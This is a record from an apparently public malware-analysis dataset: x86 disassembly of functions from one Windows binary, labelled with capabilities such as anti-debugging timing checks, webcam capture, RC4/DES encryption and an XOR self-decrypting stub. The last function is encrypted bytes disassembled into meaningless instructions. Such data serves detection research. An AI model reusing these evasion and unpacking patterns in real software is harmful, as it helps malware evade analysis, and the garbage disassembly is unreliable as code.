joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48c1a0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4f2d78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004eb099
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0048bb00
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004eafc7
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004e7885
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004e7885
push 1
push 0
push 0
mov ecx, esi
call fcn.004e782d
push 1
push 0
push 1
mov ecx, esi
call fcn.004e782d
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004eb10b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x48c320
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4f2d98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004eb099
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0048bb00
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004eafc7
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x48c3e4
cmp dword [esp + 0x40], 1
jne 0x48c3e2
cmp ecx, eax
jge 0x48c3e4
mov eax, ecx
cmp eax, 0xc8
jge 0x48c3f0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0048c1a0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004eb10b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x48cbf0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4f2e43
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004e5ca5
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004eb341
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004ec85d
test eax, eax
je 0x48cd0c
mov ecx, dword [esp + 0x3c]
call fcn.004eb36e
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x48ccd0
push edi
mov ecx, esi
call fcn.004e89d0
mov ecx, esi
call fcn.0048ceb0
cmp dword [esp + 0x38], 1
jne 0x48cd05
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004e8b0b
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x48ef10
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x48ef43
push esi
call fcn.0049d180
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x48ef3c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x48efc9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x48efb2
mov eax, dword [esi + 8]
test eax, eax
je 0x48ef67
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x48efae
cmp eax, 2
je 0x48efb2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x48ef5a
cmp eax, 3
je 0x48ef8d
cmp eax, 1
jne 0x48ef5a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x48ef5a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x48ef5a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0048eff0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x48efd8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0048eff0
add esp, 4
pop esi
ret

Function at 0x48f860
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x48f881
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x48f881
mov eax, dword [eax + 0x44]
test eax, eax
je 0x48f881
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4a9cf0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4a9d93
test eax, eax
jbe 0x4a9d93
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4a9d93
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x4a9d3e
xor esi, esi
jmp 0x4a9d44
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x4a9d6f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004adf80
add esi, eax
push esi
mov ebx, esi
call fcn.004adf80
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x4a9d50
pop ebp
test edi, edi
pop edi
jne 0x4a9d93
test ebx, ebx
je 0x4a9d93
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004d31f0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4a9eb5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4a9fcd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4a9fcd
mov eax, dword [esi + 0x3c]
push eax
call fcn.004e60f7
mov esi, eax
test esi, esi
je 0x4a9fcd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4a9fcd
mov ecx, esi
call fcn.004a9e40
cmp edi, eax
jge 0x4a9fcd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4a9f53
mov dword [esp + 0x34], 1
jmp 0x4a9fae
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4a9fcd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004a9440
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4b0cb0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b7038
push 0x4d4cb4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
rdtsc
mov esi, eax
mov edi, edx
call ebx
rdtsc
pop ebx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
xor esi, esi
mov edi, dword [ebp - 0x20]
push 1
push esi
push esi
mov eax, dword [ebp - 0x28]
push eax
call fcn.004d27f0
sub eax, esi
sbb edx, edi
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
sbb edx, esi
mov ecx, dword [ebp - 0x24]
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b0e60
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x9c
push eax
call esi
test eax, eax
jne 0x4b0ea1
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x94
push ecx
call esi
test eax, eax
je 0x4b0f0e
cmp dword [esp + 0x1c], 2
jne 0x4b0f0e
cmp dword [esp + 0x10], 5
jne 0x4b0f0e
cmp dword [esp + 0x14], 1
jne 0x4b0f0e
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4b0ef8
push str.IsWow64Process
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4b0ee9
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
jmp 0x4b0ef1
mov dword [esp + 8], 0
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 8]
test eax, eax
je 0x4b0f0e
pop edi
mov eax, 1
pop esi
add esp, 0xa0
ret
pop edi
xor eax, eax
pop esi
add esp, 0xa0
ret

Function at 0x4b2da0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x5d6204]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4b2db3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4b2df4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x5d62ac]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4b2e26
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4b2e2a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4b2e1b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4b2e48
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4b2e4c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4b2e3d
xor ecx, ecx
mov eax, 0x5d6214
xor ebx, ebx
mov bl, byte [ecx + 0x5d62bc]
cmp byte [esp + ebx + 0x14], 0
je 0x4b2e77
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x5d62d4]
cmp byte [esp + ebx + 0x14], 0
je 0x4b2e8e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x4b2e5e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4b2de7
lea edx, [esp + 0x84]
push edx
call fcn.004b2ed0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4b4b70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4b4bd6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4b4bd6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4b4bb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4b4f60
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4b4f98
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4b5c20
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4b5c69
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4b60e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f38c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004b5c90
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004b5d10
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004b5d10
lea ecx, [esi + 0xc]
call fcn.004e4655
lea ecx, [esi + 0x10]
call fcn.004e4655
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004b72a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004b72a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004b72a0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004e46ca
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004e46ca
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4bd7b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x616960]
xor edx, edx
cmp eax, edx
jne 0x4bd7d6
xor eax, eax
mov byte [eax + 0x616860], al
inc eax
cmp eax, 0x100
jl 0x4bd7be
mov dword [0x616960], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x616860
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4bd867
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4bd83a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4bd808
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4bd870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4bd8c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4bd8aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c4250
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f419e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004c4b70
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x5b810c
call fcn.004e440b
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4c42e3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004e440b
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4c42dc
push 0
mov ecx, eax
call fcn.004bb3f0
mov dword [esi + 0xc], eax
jmp 0x4c42e5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4c42e5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4e6a9b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4e6ad3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004e4b25
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004e4afd
jmp 0x4e6adf
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4e818d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4e81cf
call fcn.004edf03
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4e81cf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4e81c6
xor eax, eax
jmp 0x4e81d7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004e81dd
pop edi
pop esi
pop ebx
ret 4

Function at 0x4ee433
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4ee461
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4ee47f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004ee399
jmp 0x4ee47f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4ee47f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004ee399
test edi, edi
mov eax, edi
jne 0x4ee469
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x8de330
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de336
pop ebp
sub ebp, 6
sub ebp, 0x4de330
jmp 0x8de394
jmp 0x8de39d
mov eax, 0x4de330
add eax, ebp
add eax, 0x93
mov ecx, 0x627
mov edx, 0x26b56154
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de3b4
jmp 0x8de3c7
adc al, 0x3c
push esp
inc esp
push esp
push esp
cmp al, 0x54
cwde
js 0x8de427
xchg esp, eax
add al, 0xab
shr dword [eax + 0x75], 0x10
push esp
add al, 0xdf
cdq
invalid
push esp
push esp
ffreep st(1)
pop eax
push esp
push esp
push esp
invalid
Function at 0x422db7
Capabilities:
Encode data using xor

Disassembly:
push ebx
rcr dh, 0xdf
out dx, al
pcmpeqd mm0, qword [edi]
jbe 0x422d41
jle 0x422d63
insb byte es:[edi], dx
scasb al, byte es:[edi]
ljmp 0x1665
cmpsd dword [esi], dword es:[edi]
aam 0x65
push ss
in eax, dx
or al, byte [edx + 0x70270ae8]
iretd
cmp cl, byte [ebx + 0x63]
jg 0x422d32
into
jg 0x422de5
not byte [ebx]
aad 0x5e
retf 0xa648
cwde
mov esp, dword [ebx]
fcom dword [esi]
inc ebp
adc al, 0xfe
popfd
inc eax
aad 0x52
push cs
out dx, al
dec esi
not dword [edx - 0x51]
jge 0x422d38
sub esi, edx
in al, 0x2f
pop ebx
pop ebx
rcr byte [0x5f6a128a], cl
mov edi, 0x70050a7e
cmp esp, esi
enter 0x7d55, 0xffffffffffffffa5
xchg edi, eax
pop ds
retf 0x7e1c
inc ecx
dec esi
jg 0x422e1f
jge 0x422dcd
cmp byte [esi - 0x54], dh
je 0x422d81
clc
les esi, [ebp - 0x5c]
psubusb mm2, qword [edi]
sbb byte [edx + ebx*2 + 0x4a], ch
jg 0x422d5f
invalid
popal
mov esp, 0x29737e70
inc ebx
fistp word [edi]
outsb dx, byte [esi]
ja 0x422de6
outsd dx, dword [esi]
pop edx
cdq
neg dword [edx + 0x1e]
or byte cs:[esi - 0x5c], ch
arpl word [esi], dx
aaa
jbe 0x422dbd
jb 0x422e2a
fmul qword [esi + 0x7420d042]
add edx, ebp
xor cl, byte [edi - 0x2b]
jp 0x422e70
out dx, eax
invalid
cmpsd dword [esi], dword es:[edi]
sbb edx, esi
dec edi
push es
std
sub dh, byte [esi + 0x16]
std
in eax, dx
pop eax
cmp dword [edi + 0x2b], ebx
cmpsb byte [esi], byte es:[edi]
and dword gs:[ebx + 0x28cb4ffb], edi
add edi, 0x4227a76d
mov byte [0x1a2afeaf], al
popal
dec ebx
or bh, bl
xor eax, 0x6e2c9a77
lds eax, [esi + 6]
xchg esi, eax
js 0x422e5b
pop ds
ja 0x422e2e
lds ecx, [edx - 0x405928d6]
outsd dx, dword [esi]
jge 0x422ed8
ret
fcom dword [ecx + 0x68b8c961]
adc dl, bh
invalid
test eax, 0xcf9618ac
pop esi
push ebp
cld
setnp dh
and bl, 0x4d
pop edi
fld xword [esi]
push ss
lodsb al, byte [esi]
sbb dword [eax], ebp
pop esp
sub bl, dh
dec esp
push es
dec ebp
loope 0x422e53
fadd dword [edi - 0x5c]
inc edi
movsb byte es:[edi], byte [esi]
xchg ecx, eax
xchg ebx, eax
inc ebp
mov esi, 0x2079f691
jns 0x422efd
and ecx, edi
sub al, 0x47
push 0x56
mov edi, 0xd02ed86e
ja 0x422ef3
outsb dx, byte [esi]
mov eax, dword [0x44a57c9e]
pop esp
or bl, ch
cmc
jle 0x422f05
pop edi
mov ch, 0x15
push 0x36167f1d
cmp cl, 0xaf
cmp cl, 0xaf
in eax, dx
add ebx, ecx
jnp 0x422edb
aad 0x1b
mov byte [0x31cef5fd], al
sbb esp, dword [edx + 0x31cef5fd]
cmpsb byte [esi], byte es:[edi]
lahf
pushfd
and edi, dword [esi + 0x36]
test al, 0xc6
or ecx, dword [esi - 0x2cd16e25]
fimul word [ebx - 0x468e9101]
cwde
out dx, al
jp 0x422ed3
fist dword [ecx - 0x74212cd2]
jmp [esi + 0x71]
jno 0x422eb5
jo 0x422f3f
mov esp, 0x9e093f67
fdiv st(7), st(0)
sub ecx, dword [ecx + 0x15ead66e]
rcr byte cs:[eax - 1], cl
jbe 0x422f16
daa
